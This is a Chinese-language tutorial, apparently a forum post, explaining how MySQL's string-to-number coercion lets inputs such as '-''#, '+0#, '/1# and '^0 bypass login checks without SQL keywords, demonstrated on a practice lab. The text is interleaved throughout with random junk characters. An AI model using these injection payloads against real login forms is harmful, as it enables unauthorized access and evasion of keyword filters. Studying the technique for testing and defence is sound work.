我们先来看这样一个场景。- e6 c# K3 i V2 p% C6 F9 C. @# x
有以下表结构: Q/ }8 N4 s& k: p( Q7 V
$ ]2 ]! n& V/ m, [0 cmysql> desc admin;
" V( Z: A7 z& e% p+----------+--------------+------+-----+---------+----------------+0 C6 ?, J- C# C
| Field | Type | Null | Key | Default | Extra |2 ?- U8 y0 O$ G8 W! k! a
+----------+--------------+------+-----+---------+----------------+; ^! B0 v" s: ]% k! }: W# J
| id | mediumint(9) | NO | PRI | NULL | auto_increment |
1 [6 T( V9 O8 U/ N a| name | char(32) | NO | UNI | NULL | |( Z/ X K; r. l- v, X- D
| password | char(32) | NO | UNI | NULL | |
8 f2 z! N% O) f j8 `+----------+--------------+------+-----+---------+----------------+
0 r% S. A- o7 z& K) U) U3 rows in set (0.00 sec)" `9 N6 S ]& m/ q4 q5 n
执行select * from admin;,成功返回所有记录内容。
E9 `1 s% W% `/ ]; i% E3 @/ y+ L# ~* f% T& E
5 u" e7 R% T1 m& S) I- q
+----+--------+----------------------------------+
, f' O3 `8 {, y2 p0 |( q| id | name | password |
' Q3 r+ e2 E& s+----+--------+----------------------------------+/ j( x V8 o9 Q& f
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |* e8 j; P; A- [; H6 G
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
3 k- j6 J$ j5 x| 4 | n00b | ff80e8508d39047460921792273533a4 |* R" K% w( a: b$ z3 V: J
+----+--------+----------------------------------+
) x. s2 X6 \5 ^& k! I! {' v+ U3 rows in set (0.00 sec)8 E* Y- {" ?5 J% c$ D$ k8 `
执行select * from admin where name=”;,没有匹配到任何记录。 / i) e+ K' V& l' }& G. |
. o& `& X1 C: E+ v, t, M& }
mysql> select * from admin where name = '';4 g) N; j( t" R' f
Empty set (0.00 sec)' {+ Y8 V, r! Y% L* ^/ L2 t
那么我们来执行select * from admin where name = ”-”;
* c# H3 {% _# H7 R
: z# U3 T, [ T! a
- J$ y9 Q3 X9 Y9 v$ j+----+--------+----------------------------------+ q: m' q/ v3 \! |/ K5 V* T
| id | name | password |; w, \! i5 ]/ Y% _
+----+--------+----------------------------------+
) I9 ^/ t: Y6 D1 j, r0 b! u| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
% o3 w0 C7 B5 q; {8 Y9 g| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |) b( G9 u1 g1 p' b0 y, h
| 4 | n00b | ff80e8508d39047460921792273533a4 |" ~" U% J* p/ ]: X# P# o; G. U
+----+--------+----------------------------------+
G8 y! K$ [4 l/ a- L/ a A5 Z4 j$ @# o3 rows in set, 3 warnings (0.00 sec)
9 S% M, ]" K* V$ }. M3 a* u9 x1 ~可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: 8 A3 N- |$ D* q1 K$ W3 I W* j1 d
" Y7 K4 w. p+ p6 F
mysql> show warnings;8 r) g% P; ?% m4 b6 A$ }
+---------+------+------------------------------------------
3 d4 P2 H1 n5 C G6 ]9 R5 s6 n8 a| Level | Code | Message1 r& S8 j e0 Y/ e: @ ^
+---------+------+------------------------------------------0 V! |: v0 D$ }+ u
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin* I6 _8 f( k4 `- n8 o( i: f
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s' N" O9 v: B' ~* t! F" n3 z
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
) l- D1 y' \) I0 Y+---------+------+------------------------------------------
3 N& U' N' J/ H' B3 rows in set (0.00 sec)% @ D/ N9 g. X: Q+ L" l, j& P
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
* x8 L7 Y$ Y9 k u n* A
: u9 E( [- c4 M; L/ \4 [' H# Fmysql> select ''-'';; E$ y4 K, A. u0 f/ j0 {
+-------+; u) [: ^) e1 l6 O5 a3 d1 _! ]2 ?+ Y
| ''-'' |
$ b# r0 ~' d& s C% s$ v+-------+
2 c2 p( ~ s5 E| 0 |: z. [8 |/ |9 r8 J1 C( C8 B
+-------+8 C7 ~% d1 P6 ^9 j
1 row in set (0.00 sec)
& O) a$ F8 X% i/ {* G返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 4 w! E) Q) p! K1 f, g6 ?) Z
( I+ Y' Q# e0 [# ^$ {; gmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
7 j( l7 w0 n9 @( @/ @+-----------------------------------------------------+6 w. w3 S8 v# N4 x) E/ ]2 w& b) A2 e& ^
| CAST((select name from admin limit 1,1) as DECIMAL) |
$ m( G9 l1 H9 _2 d+-----------------------------------------------------+
$ `5 a. X8 l% [# W| 0 |8 r+ L' @' x+ V/ f& `
+-----------------------------------------------------+
/ j2 }$ J( R' l1 row in set, 1 warning (0.00 sec), h& {1 b8 _ t8 t
因此where语句构成了相等的条件,where 0=”=”,记录被返回。 5 o+ q2 |( m8 Y5 r+ k: a u
$ ^9 u Z2 C5 H3 t$ F8 _SQL注入场景: http://www.sqlzoo.net/hack/
( ~; p! x% K2 t- F/ P* w' D, j2 @5 c$ F% Z/ o
6 S7 q# M3 `! U. u1 C6 t% |: C
$ B; R* _0 r6 c" m- ]$ f9 x! w( u4 @" w
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
3 C. @8 u/ |( t' |" G5 m z6 U, |/ i$ J4 ^3 C1 D& P
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 F6 j6 L2 Z4 R
9 y2 x( N" H8 U
4 k( g3 Q+ V! u) a8 j- r6 W C3 Z2 B2 {* P1 P1 I: U& q" w6 D
/ K+ b! v, x; ?8 r' q$ X仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
4 ~& X+ w& [: [0 t+ V# a7 \ A5 [( R) Y$ q& p# M- ]! x
0 e5 U$ J4 {% d
+ Q) K+ W5 ?8 V4 ~8 Q4 ^+ [除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可: f% v8 v; S t3 s9 ] f P
5 L( G) X: u. }. f! f i" R% f/ h" f1 Z
mysql> select ''/1;+ c4 N) F6 U2 S: P; k E
+------+
2 s0 S$ l$ i& ]# _| ''/1 |0 P$ T# d6 l4 f% `1 ~ K Z$ e
+------+
( c) J- z7 o6 S* G5 N/ V; ?( Q| 0 |
9 b3 v4 {* ]0 f: }7 @+------+
: \6 R9 C0 |/ c+ y9 e3 L1 row in set (0.00 sec). e5 f, s0 a( r$ u( I+ C
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
) R# H* Y5 @0 }1 C
. k$ u1 A# f1 b# Q: {3 {6 F利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。% m' {$ b! f4 {* d/ L8 U3 b
|
|